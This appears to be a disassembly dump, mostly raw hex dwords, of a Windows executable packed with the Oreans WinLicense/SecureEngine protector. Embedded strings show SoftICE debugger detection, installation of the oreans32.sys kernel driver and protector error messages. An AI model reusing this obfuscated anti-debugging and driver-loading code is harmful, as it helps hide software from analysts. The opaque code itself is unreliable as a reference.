		dd 0B5FF5337h, 6220FC9h, 3AF1858Dh, 0D0FF0622h,	6B98589h
		dd 1EEB0622h, 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch
		dd 444956h, 5C2E5C5Ch, 4349544Eh, 0C08B0045h, 39F68166h
		dd 0DDBD836Ch, 62208h, 0BD830975h, 6220A21h, 50197400h
		dd 0B8C08B53h, 40Fh, 1B398589h,	9D8D0622h, 624BFC9h, 585BD3FFh
		dd 0A21BD83h, 74000622h, 0B8535017h, 40Fh, 1B398589h, 9D8D0622h
		dd 624BCB8h, 585BD3FFh,	6AF28Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 958B96C3h, 6222AE1h
		dd 958BC08Bh, 6220735h,	330985C6h, 8B430622h, 220321B5h
		dd 0D5356806h, 85B1F282h, 0C9243481h, 0FF4E0CBBh, 2233A9B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 5B75743Ch, 5CEFF6FCh, 0AAD9529h,	858D0622h
		dd 6223AF1h, 6DD7BF66h,	9E8D0FFh, 97000000h, 848B379Ch
		dd 563E9C10h, 19A99D89h, 50590622h, 8B240489h, 222D298Dh
		dd 0B006A06h, 222CF58Dh, 4E806h, 800000h, 11E80000h, 31000000h
		dd 81A549F9h, 0CF73A7B7h, 892D06AFh, 49DF13CAh,	505AF48Ah
		dd 50525053h, 5A310F52h, 5A310F58h, 448B5E58h, 820F0424h
		dd 1Ch,	14E8h, 1D621300h, 7E1EB9A7h, 4A0258h, 6A8BDD6Ch
		dd 8FAF0E62h, 5E616012h, 5250008Bh, 0BE8h, 0DBEB2200h
		dd 1E22EB0Bh, 0BE3DCF51h, 33CCFBEh, 310F5A4Dh, 0C8F0Fh
		dd 7E90000h, 0B1000000h, 56F0FF30h, 585A6E39h, 4244489h
		dd 0E6816658h, 6AF56545h, 39B58B03h, 6A06221Ah,	6E900h
		dd 0DB830000h, 0D1D316A3h, 9D89036Ah, 6221275h,	0E488F68h
		dd 5E9D0h, 0F65D0000h, 81D1524Eh, 488F2434h, 800F100Eh
		dd 6, 2D9BD8Bh,	9D8D0622h, 624B2F4h, 28319589h,	60930622h
		dd 60616060h, 52506161h, 310F5250h, 310F585Ah, 310F5250h
		dd 585A585Ah, 0BF935061h, 600B5561h, 0EB9D0FFh,	406063AFh
		dd 279850Fh, 95010000h,	6222961h, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 661CBB6Ah
		dd 8B43ABBFh, 2204A595h, 0BA665006h, 489C16Fh, 5ED58024h
		dd 4E8006Ah, 80000000h,	0E9000000h, 0Eh, 0E14BAAE2h, 0C78DA9FAh
		dd 44985FFAh, 8B50DA34h, 0BF042444h, 1CDCDFC3h,	0AE8008Bh
		dd 71000000h, 5D79DCA8h, 0DAB92B25h, 0DE90Dh, 0BCD50000h
		dd 6F3EC741h, 372300E7h, 5E3878B8h, 4244489h, 46FABA66h
		dd 0FB8B6658h, 7E8036Ah, 0F9000000h, 0BEF92C04h, 6A59CE78h
		dd 7D74B900h, 0BD291D1Ch, 62209E5h, 8166036Ah, 6840C9EEh
		dd 0A6AACCBAh, 11E860h,	0EAD90000h, 6427F937h, 625378E9h
		dd 538C51DDh, 0B00F6A56h, 81615B1Eh, 0CCBA2434h, 0B50166AAh
		dd 62226ADh, 594D84BEh,	0FD9D8D68h, 0F0624B2h, 683h, 59BD2900h
		dd 9306221Eh, 0D08B6657h, 5DB1505Ah, 218D8B93h,	0FF062227h
		dd 0F78B66D0h, 64850F40h, 9000001h, 22115595h, 9E95806h
		dd 0C7000000h, 9F7C932Bh, 2E5D7803h, 52505150h,	0BE8310Fh
		dd 91000000h, 1E59AA28h, 8EC0B9Eh, 5A5A17B3h, 4895E58h
		dd 0B1958B24h, 6A062228h, 0FE800h, 0F6C0000h, 0CD013D58h
		dd 0B9FCD4C8h, 0AA065255h, 719589F7h, 5E06220Fh, 0B94AF768h
		dd 0D08B66F7h, 89240481h, 8B0846B5h, 8E9FEh, 0DEB20000h
		dd 6F19A4EEh, 36AE6C8h,	2BD958Bh, 6A0622h, 7499589h, 36A0622h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0B3C35040h
		dd 603A8CE2h, 7E9D3h, 0A10D0000h, 33605A03h, 0F8926839h
		dd 0BF66A7E0h, 34818951h, 0E0F89224h, 0D5BD2B67h, 8D06220Fh
		dd 24B3089Dh, 50CA8B06h, 0DE9h,	9C317900h, 52799B89h, 28E4A662h
		dd 1C890687h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 324D2ABDh, 89D0FFF8h, 221ED99Dh
		dd 4D858906h, 40062221h, 49850Fh, 13E90000h, 0B1000000h
		dd 0AAC7BDE4h, 67F82BBEh, 7E1644C2h, 0EF981000h, 958B98CEh
		dd 62218C1h, 56006A58h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 708D48C5h, 0E9D07202h, 15Fh, 8BF08B66h
		dd 89958BD8h, 4B062202h, 477BCE81h, 31585135h, 2218B1B5h
		dd 1E58006h, 330985C6h,	0F430622h, 4E8C8BFh, 0A7000000h
		dd 0E9C0764Ah, 0Ch, 2C819812h, 7192B104h, 5386AF4Fh, 56BA6650h
		dd 24448BAEh, 7BBF6604h, 8A008B01h, 244489D1h, 0E8525004h
		dd 0Ah,	474D31F8h, 852790CCh, 0BE66AAC2h, 0F5EF7F4h, 0BE95331h
		dd 86000000h, 3C862D4h,	334E99F3h, 5A5EB14Fh, 0CE95858h
		dd 8D000000h, 2D6E5745h, 6414A3A1h, 0FF27A904h,	2233A9B5h
		dd 98D8B06h, 8D06222Dh,	223AF185h, 9D8B6006h, 6222CD1h
		dd 214EE381h, 0E8612B0Fh, 5, 78CACCC1h,	37C181BAh, 5957CC74h
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 67D870C3h, 0EE8166E2h, 0B5236656h, 6222FA5h
		dd 0F78B6650h, 89241C89h, 2227B995h, 6AD0FF06h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 18B9C356h, 7EB9771Ch, 8D7A0589h, 2276A49Dh, 8B0F06h
		dd 0B8000000h, 1, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	0B4C35141h, 15C1A0Ch, 0FFBCB5FEh, 0D59589E3h, 8B06221Ch
		dd 4890FC1h, 66000000h,	316CC7B9h, 221D4D95h, 0F8C08B06h
		dd 8DDBD83h, 75000622h,	21BD8309h, 6220Ah, 53501974h, 0FB8C08Bh
		dd 89000004h, 220E5985h, 309D8D06h, 0FF0624C0h,	83585BD3h
		dd 220A21BDh, 17740006h, 0FB85350h, 89000004h, 220E5985h
		dd 0D19D8D06h, 0FF0624BCh, 0F585BD3h, 0C08BF2B7h, 7E8h
		dd 0CE43E600h, 0B3EDE664h, 2549958Bh, 0E9580622h, 8, 0D3827505h
		dd 55113F9Dh, 67D8C081h, 81660000h, 68E534E2h, 19BAh, 859DBF66h
		dd 0FB8B6659h, 8E8188Bh, 0E9000000h, 0F03C6F4Dh, 50425C6Dh
		dd 1BD5B589h, 5E5E0622h, 651CC381h, 0B589157Ch,	6222549h
		dd 0D2DFC381h, 0BF660591h, 0C38118CCh, 4D1EAED8h, 8933B460h
		dd 222655B5h, 0E9536106h, 0Ah, 0C42E6456h, 0F25B92Ch, 8FA8FBh
		dd 209B58Bh, 0E8810622h, 6AA2A0D7h, 7E8h, 478B3800h, 5AD43EAAh
		dd 14A59529h, 815A0622h, 0A2A0D3C0h, 13E96Ah, 59D10000h
		dd 0EF46A8EBh, 1658A26Ch, 0B174682Ah, 325BC362h, 850F4908h
		dd 12h,	28E9h, 0F38A1600h, 231D4676h, 2737A8C2h, 0B53384C2h
		dd 6221D3Dh, 0FFFF4FE9h, 2BD1C0FFh, 9EF1B1B5h, 11E0DF74h
		dd 0B55AA670h, 0AAE94Ah, 6F530000h, 61777466h, 575C6572h
		dd 694C6E69h, 736E6563h, 68430065h, 496B6365h, 7058004Eh
		dd 45746F72h, 746978h, 63656843h, 54554F6Bh, 6E695700h
		dd 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h
		dd 736E6563h, 69724465h, 56726576h, 69737265h, 57006E6Fh
		dd 694C6E69h, 736E6563h, 736E4965h, 636E6174h, 78450065h
		dd 6B4F7469h, 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h
		dd 45004E49h, 4F746978h, 54005455h, 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 0EC858900h, 8D0624BAh
		dd 24BAE885h, 858D5006h, 624BA52h, 16850h, 95FF8000h, 624BAF8h
		dd 0B5FF196Ah, 624BAECh, 6A016Ah, 0BA81858Dh, 0FF500624h
		dd 24BAE8B5h, 0FD95FF06h, 0FF062207h, 24BAE8B5h, 0F495FF06h
		dd 0FF0624BAh, 24BAE8B5h, 7195FF06h, 0C3062200h, 0BAEC8589h
		dd 858D0624h, 624BAE8h,	52858D50h, 500624BAh, 168h, 0F895FF80h
		dd 6A0624BAh, 0EC858D04h, 500624BAh, 6A046Ah, 0BAAB858Dh
		dd 0FF500624h, 24BAE8B5h, 0FD95FF06h, 0FF062207h, 24BAE8B5h
		dd 0F495FF06h, 0FF0624BAh, 24BAE8B5h, 7195FF06h, 0C3062200h
		dd 0BAEC8589h, 858D0624h, 624BAE8h, 52858D50h, 500624BAh
		dd 168h, 0F895FF80h, 6A0624BAh,	0EC858D04h, 500624BAh
		dd 6A046Ah, 0BA93858Dh,	0FF500624h, 24BAE8B5h, 0FD95FF06h
		dd 0FF062207h, 24BAE8B5h, 0F495FF06h, 0FF0624BAh, 24BAE8B5h
		dd 7195FF06h, 0C3062200h, 0BAEC8589h, 858D0624h, 624BAE8h
		dd 52858D50h, 500624BAh, 168h, 0F895FF80h, 6A0624BAh, 0EC858D04h
		dd 500624BAh, 6A046Ah, 0BABE858Dh, 0FF500624h, 24BAE8B5h
		dd 0FD95FF06h, 0FF062207h, 24BAE8B5h, 0F495FF06h, 0FF0624BAh
		dd 24BAE8B5h, 7195FF06h, 0C3062200h, 0BAEC8589h, 858D0624h
		dd 624BAE8h, 52858D50h,	500624BAh, 168h, 0F895FF80h, 6A0624BAh
		dd 0EC858D04h, 500624BAh, 6A046Ah, 0BA6E858Dh, 0FF500624h
		dd 24BAE8B5h, 0FD95FF06h, 0FF062207h, 24BAE8B5h, 0F495FF06h
		dd 0FF0624BAh, 24BAE8B5h, 7195FF06h, 0C3062200h, 2439BD83h
		dd 0F000622h, 0B84h, 399D8B00h,	83062224h, 3894CC3h, 39BD83C3h
		dd 62224h, 0B840Fh, 9D8B0000h, 6222439h, 8950C383h, 0BD83C303h
		dd 6222439h, 0B840F00h,	8B000000h, 2224399Dh, 54C38306h
		dd 83C30389h, 222439BDh, 840F0006h, 0Bh, 24399D8Bh, 0C3830622h
		dd 0C3038958h, 2439BD83h, 0F000622h, 0B84h, 399D8B00h
		dd 83062224h, 3895CC3h,	8960C3C3h, 24BAEC85h, 0E8858D06h
		dd 500624BAh, 0BA52858Dh, 68500624h, 80000001h,	0BAF895FFh
		dd 46A0624h, 0BAEC858Dh, 6A500624h, 8D006A04h, 24BAE385h
		dd 0B5FF5006h, 624BAE8h, 7FD95FFh, 0BD830622h, 62208DDh
		dd 0C840F00h, 0FF000000h, 24BAE8B5h, 0F495FF06h, 0FF0624BAh
		dd 24BAE8B5h, 7195FF06h, 61062200h, 858960C3h, 624BAECh
		dd 0BAE8858Dh, 8D500624h, 24BA5285h, 1685006h, 0FF800000h
		dd 24BAF895h, 8D046A06h, 24BAEC85h, 46A5006h, 858D006Ah
		dd 624BAC5h, 0E8B5FF50h, 0FF0624BAh, 2207FD95h,	0DDBD8306h
		dd 62208h, 0C840Fh, 0B5FF0000h,	624BAE8h, 0BAF495FFh, 0B5FF0624h
		dd 624BAE8h, 7195FFh, 0C3610622h, 0EC858960h, 8D0624BAh
		dd 24BAE885h, 858D5006h, 624BA52h, 16850h, 95FF8000h, 624BAF8h
		dd 858D046Ah, 624BAECh,	6A046A50h, 0CC858D00h, 500624BAh
		dd 0BAE8B5FFh, 95FF0624h, 62207FDh, 8DDBD83h, 0F000622h
		dd 0C84h, 0E8B5FF00h, 0FF0624BAh, 24BAF495h, 0E8B5FF06h
		dd 0FF0624BAh, 22007195h, 60C36106h, 0BAEC8589h, 858D0624h
		dd 624BAE8h, 52858D50h,	500624BAh, 168h, 0F895FF80h, 6A0624BAh
		dd 0EC858D04h, 500624BAh, 6A046Ah, 0BAD4858Dh, 0FF500624h
		dd 24BAE8B5h, 0FD95FF06h, 83062207h, 2208DDBDh,	840F0006h
		dd 0Ch,	0BAE8B5FFh, 95FF0624h, 624BAF4h, 0BAE8B5FFh, 95FF0624h
		dd 6220071h, 8960C361h,	24BAEC85h, 0E8858D06h, 500624BAh
		dd 0BA52858Dh, 68500624h, 80000001h, 0BAF895FFh, 46A0624h
		dd 0BAEC858Dh, 6A500624h, 8D006A04h, 24BADB85h,	0B5FF5006h
		dd 624BAE8h, 7FD95FFh, 0BD830622h, 62208DDh, 0C840F00h
		dd 0FF000000h, 24BAE8B5h, 0F495FF06h, 0FF0624BAh, 24BAE8B5h
		dd 7195FF06h, 61062200h, 85C760C3h, 624BAECh, 1, 0BAE8858Dh
		dd 8D500624h, 24BA5285h, 2685006h, 0FF800000h, 24BAF895h
		dd 0FC00B06h, 0F84h, 0EC85C700h, 624BAh, 0E9000000h, 4Dh
		dd 858D046Ah, 624BAECh,	6A046A50h, 66858D00h, 500624BAh
		dd 0BAE8B5FFh, 95FF0624h, 62207FDh, 840FC00Bh, 0Fh, 0BAEC85C7h
		dd 624h, 0AE90000h, 0C7000000h,	24BAEC85h, 106h, 0E8B5FF00h
		dd 0FF0624BAh, 22007195h, 858B6106h, 624BAECh, 858960C3h
		dd 624BAECh, 0BAE8858Dh, 8D500624h, 24BA5285h, 1685006h
		dd 0FF800000h, 24BAF895h, 8D046A06h, 24BAEC85h,	46A5006h
		dd 858D006Ah, 624BA66h,	0E8B5FF50h, 0FF0624BAh,	2207FD95h
		dd 0DDBD8306h, 62208h, 0C840Fh,	0B5FF0000h, 624BAE8h, 0BAF495FFh
		dd 0B5FF0624h, 624BAE8h, 7195FFh, 0C3610622h, 0EC858960h
		dd 8D0624BAh, 24BAE885h, 858D5006h, 624BA52h, 16850h, 95FF8000h
		dd 624BAF8h, 858D046Ah,	624BAECh, 6A046A50h, 78858D00h
		dd 500624BAh, 0BAE8B5FFh, 95FF0624h, 62207FDh, 8DDBD83h
		dd 0F000622h, 0C84h, 0E8B5FF00h, 0FF0624BAh, 24BAF495h
		dd 0E8B5FF06h, 0FF0624BAh, 22007195h, 0C6C36106h, 22330985h
		dd 7685206h, 0FFADE47Bh, 221AC9B5h, 6995FF06h, 8906221Ah
		dd 24BAF885h, 985C606h,	52062233h, 2E00E568h, 0C9B5FF90h
		dd 0FF06221Ah, 221A6995h, 0F4858906h, 0C60624BAh, 22330985h
		dd 35685206h, 0FFB9BF12h, 221AC9B5h, 6995FF06h,	8906221Ah
		dd 2207FD85h, 985C606h,	52062233h, 78103468h, 0C9B5FF98h
		dd 0FF06221Ah, 221A6995h, 71858906h, 0C6062200h, 22330985h
		dd 0D4685206h, 0FFC005DBh, 221AC9B5h, 6995FF06h, 8906221Ah
		dd 22066985h, 11E806h, 40770000h, 0A7FDD57Bh, 0DB0CA3D9h
		dd 25E15C7Ah, 52D3B1A7h, 0E1214BBh, 0F85A5F1Ah,	6096C281h
		dd 0F600000h, 108Bh, 0BE900h, 0B6780000h, 0A7E4054h, 20B5389Ch
		dd 0AE8DDh, 0E9540000h,	46320148h, 483FFE11h, 615BD88Bh
		dd 17DE68h, 0C5806000h,	0B5F081B5h, 61122592h, 0F32FF58h
		dd 1F8Fh, 19800F00h, 0E9000000h, 14h, 0DAFAA8h,	0D29EA75Ch
		dd 0ED8BEE0Fh, 1FED9A46h, 677EE77Dh, 7E959h, 88860000h
		dd 735C8CACh, 0A8E98152h, 664A5CDDh, 0E981FB8Bh, 25631829h
		dd 81F18B66h, 650612E9h, 32D3803Fh, 81660A89h, 81A347DFh
		dd 0FE9F5FEAh, 58A0F6Dh, 0BF000000h, 227FEA7Ah,	9F5BC281h
		dd 0E8836DFEh, 19850F01h, 0E9000000h, 4Ch, 701C03E3h, 0E6B3295Bh
		dd 0C56DFBF2h, 0D4F6B339h, 36B4CF52h, 1C8E0Fh, 14E80000h
		dd 44000000h, 0E58E7A9Dh, 2399BE28h, 737B769Eh,	0C7BFC543h
		dd 51A46EDCh, 4AE95F5Eh, 0F2FFFFFFh, 6610189h, 0E3D5397Fh
		dd 74965C41h, 0A49F8757h, 99E9h, 75622F00h, 65686367h
		dd 326B63h, 6775622Fh, 63656863h, 662F006Bh, 6563726Fh
		dd 6E7572h, 6775622Fh, 63656863h, 6C75666Bh, 732F006Ch
		dd 63776F68h, 65646Fh, 6F68732Fh, 646F6377h, 2F003265h
		dd 74726C63h, 69642F00h, 2F003173h, 776F6873h, 74736E69h
		dd 65636E61h, 65672F00h, 736C7774h, 75746174h, 6C2F0073h
		dd 7473676Fh, 73757461h, 75642F00h, 7473706Dh, 73757461h
		dd 0
		dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h
		dd 624C2D9h, 0A840F00h,	0C7000000h, 220A2185h, 106h, 985C600h
		dd 47062233h, 6763C968h, 2404815Ch, 340608C4h, 33A9B5FFh
		dd 858D0622h, 6223AF1h,	0D0FFD0FFh, 3F80F88Bh, 22850F22h
		dd 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh, 31B840Fh
		dd 80470000h, 840F003Fh, 311h, 1EE9h, 3F8000h, 303840Fh
		dd 3F800000h, 6850F20h,	47000000h, 6E9h, 0E2E94700h, 80FFFFFFh
		dd 850F003Fh, 5, 2E0E9h, 1E900h, 80470000h, 840F203Fh
		dd 0FFFFFFF6h, 0F003F80h, 585h,	2C3E900h, 0AE80000h, 0E9000000h
		dd 0FFFFFFCBh, 2B4E9h, 59B58D00h, 0E80624C2h, 225h, 0C2EEBD03h
		dd 0BD830624h, 624C2EEh, 0B840F00h, 0C7000000h,	2208DD85h
		dd 106h, 0B58DC300h, 624C264h, 1FCE8h, 0EEBD0300h, 830624C2h
		dd 24C2EEBDh, 840F0006h, 0Bh, 0A2185C7h, 10622h, 8DC30000h
		dd 24C2DDB5h, 1D3E806h,	0BD030000h, 624C2EEh, 0C2EEBD83h
		dd 0F000624h, 0B84h, 185C700h, 1062228h, 0C3000000h, 0C26EB58Dh
		dd 0AAE80624h, 3000001h, 24C2EEBDh, 0EEBD8306h,	624C2h
		dd 0B840Fh, 85C70000h, 6220A21h, 1, 78B58DC3h, 0E80624C2h
		dd 181h, 0C2EEBD03h, 0BD830624h, 624C2EEh, 15840F00h, 0C7000000h
		dd 220A2185h, 106h, 0DD85C700h,	1062208h, 0C3000000h, 0C286B58Dh
		dd 4EE80624h, 3000001h,	24C2EEBDh, 0EEBD8306h, 624C2h
		dd 0A840Fh, 85C70000h, 6220485h, 1, 0C290B58Dh,	26E80624h
		dd 3000001h, 24C2EEBDh,	0EEBD8306h, 624C2h, 0A840Fh, 85C70000h
		dd 6220485h, 1,	0C29BB58Dh, 0FEE80624h,	3000000h, 24C2EEBDh
		dd 0EEBD8306h, 624C2h, 0A840Fh,	85C70000h, 6220505h, 1
		dd 0C2A1B58Dh, 0D6E80624h, 3000000h, 24C2EEBDh,	0EEBD8306h
		dd 624C2h, 0A840Fh, 85C70000h, 62228D9h, 1, 0C2A7B58Dh
		dd 0AEE80624h, 3000000h, 24C2EEBDh, 0EEBD8306h,	624C2h
		dd 0A840Fh, 85C70000h, 62227C5h, 1, 0C2B5B58Dh,	86E80624h
		dd 3000000h, 24C2EEBDh,	0EEBD8306h, 624C2h, 0A840Fh, 85C70000h
		dd 62219BDh, 1,	0C2C2B58Dh, 5EE80624h, 3000000h, 24C2EEBDh
		dd 0EEBD8306h, 624C2h, 0A840Fh,	85C70000h, 6221EF1h, 1
		dd 0C2CDB58Dh, 36E80624h, 3000000h, 24C2EEBDh, 0EEBD8306h
		dd 624C2h, 0A840Fh, 85C70000h, 6221559h, 1, 1E9h, 3F804700h
		dd 9840F20h, 80000000h,	850F003Fh, 0FFFFFFEDh, 1B960C3h
		dd 8B000000h, 1CE9DEh, 3F800000h, 2850F00h, 2B000000h
		dd 38178AC9h, 5840F16h,	0B9000000h, 0
aFga		db 'FG€>',0
		db 0Fh,	84h, 8
		dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h,	80000000h
		dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h
		dd 0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 624C2EEh, 0AE9h,	0EE85C700h
		dd 624C2h, 61000000h, 0B8C3h, 0C00B0000h, 0A840Fh, 85C70000h
		dd 6220485h, 0
		dd 0EE9C88Bh, 33000002h, 6E6E6143h, 7720746Fh, 65746972h
		dd 65726F20h, 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h
		dd 74206572h, 20746168h, 73696874h, 6C696620h, 73692065h
		dd 746F6E20h, 69656220h, 7520676Eh, 20646573h, 61207962h
		dd 68746F6Eh, 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 0EFE900h, 85C60000h,	6223309h, 5B866847h, 0B5FFE3E4h
		dd 62233A9h, 3AF1858Dh,	0D0FF0622h, 10468h, 0FD9D8D00h
		dd 5306222Ah, 8D50D0FFh, 24C87BB5h, 32FE8B06h, 850FAEC0h
		dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 22330985h
		dd 0FC684306h, 0FFBC8E6Eh, 2233A9B5h, 0F1858D06h, 0FF06223Ah
		dd 0FDB58DD0h, 6A06222Ah, 806800h, 26A0000h, 6A006Ah, 68h
		dd 0D0FF56C0h, 85C6D88Bh, 6223309h, 0EE566857h,	0B5FFA69Bh
		dd 62233A9h, 3AF1858Dh,	0D0FF0622h, 2925BD8Dh, 8D8D0622h
		dd 624C9A1h, 6857006Ah,	37D0h, 0D0FF5351h, 850FC085h, 1Bh
		dd 0C683B58Dh, 858D0624h, 624B23Fh, 8D8DD0FFh, 62276A4h
		dd 0B8h, 0C6E1FF00h, 22330985h,	0A7684306h, 0FFC0764Ah
		dd 2233A9B5h, 0F1858D06h, 0FF06223Ah, 0D0FF53D0h, 37D0B9C3h
		dd 0E80000h, 58000000h,	890EC083h, 2E908h, 0C38B0000h
		dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_450050+4BB0h
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 360h dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
		dd 9C3h	dup(0)
		dd 1BE88300h, 7309F883h, 8524FF07h, 0
		dd 0C3F8h, 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
		dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 10B7E900h, 44410000h
		dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
		dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
		dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
		dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
		dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
		dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
		dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
aOreans32_sys	db 'oreans32.sys',0
		align 4
		dd 0
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 4
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
